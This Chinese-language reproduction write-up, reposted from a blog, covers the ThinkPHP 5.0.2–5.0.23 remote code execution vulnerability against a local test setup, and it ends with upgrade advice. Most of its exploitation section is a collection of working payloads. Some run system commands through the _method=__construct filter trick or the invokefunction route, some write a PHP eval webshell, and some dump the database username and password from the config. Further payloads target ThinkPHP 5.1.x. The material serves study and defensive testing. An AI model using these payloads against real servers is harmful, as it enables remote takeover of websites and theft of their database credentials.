ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

ThinkPHP 5.0.2 - 5.0.23 RCE 漏洞复现

2021-01-18 21:04:17  阅读:376  来源: 互联网

标签:5.0 index http vars 23 get ThinkPHP think


0x00 简介

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。

0x01 漏洞概述

由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

0x02 影响版本

ThinkPHP5 5.0.2 - 5.0.23

0x03 环境搭建

测试环境:ThinkPHP_5.0.22
ThinkPHP_5.0.22下载
下载完后解压到 phpstudy 的 www 文件夹内
访问 http://127.0.0.1/thinkphp/public/ 可看到页面

0x04 漏洞利用

1、访问 http://127.0.0.1/thinkphp/public/index.php?s=captcha 并抓包

2、构建 POC 并发包

3、使用蚁剑连接

POC:
通过发包

POST /thinkphp/public/index.php?s=captcha HTTP/1.1

#  查看当前用户
_method=__construct&filter[]=system&method=get&get[]=whoami

#  写入 WebShell(Linux)
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval(\$_POST['pass']);?>" > 1.php

#  写入 WebShell(Windows)
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo ^<?php @eval($_POST['pass']);?^> > 1.php

通过 URL

#  查看数据库用户名
http://127.0.0.1/thinkphp/public/index.php?s=.|think\config/get&name=database.username

#  查看数据库密码
http://127.0.0.1/thinkphp/public/index.php?s=.|think\config/get&name=database.password

#  查看当前用户
http://127.0.0.1/thinkphp/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

#  phpinfo
index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
其他版本 POC
当 PHP7 以上无法使用 Assert 的时候用
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=包含&x=phpinfo();
ThinkPHP5
http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
ThinkPHP 5.0.21
http://127.0.0.1/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

http://127.0.0.1/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
ThinkPhP 5.1.*
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd

http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

0x05 漏洞修复

升级到5.0.24及以上,不开启debug模式

0x06 参考 URL

https://xz.aliyun.com/t/3845
https://blog.csdn.net/qq_29647709/article/details/84956221
https://www.freebuf.com/vuls/194127.html

标签:5.0,index,http,vars,23,get,ThinkPHP,think
来源: https://www.cnblogs.com/anonymous-test/p/14295159.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有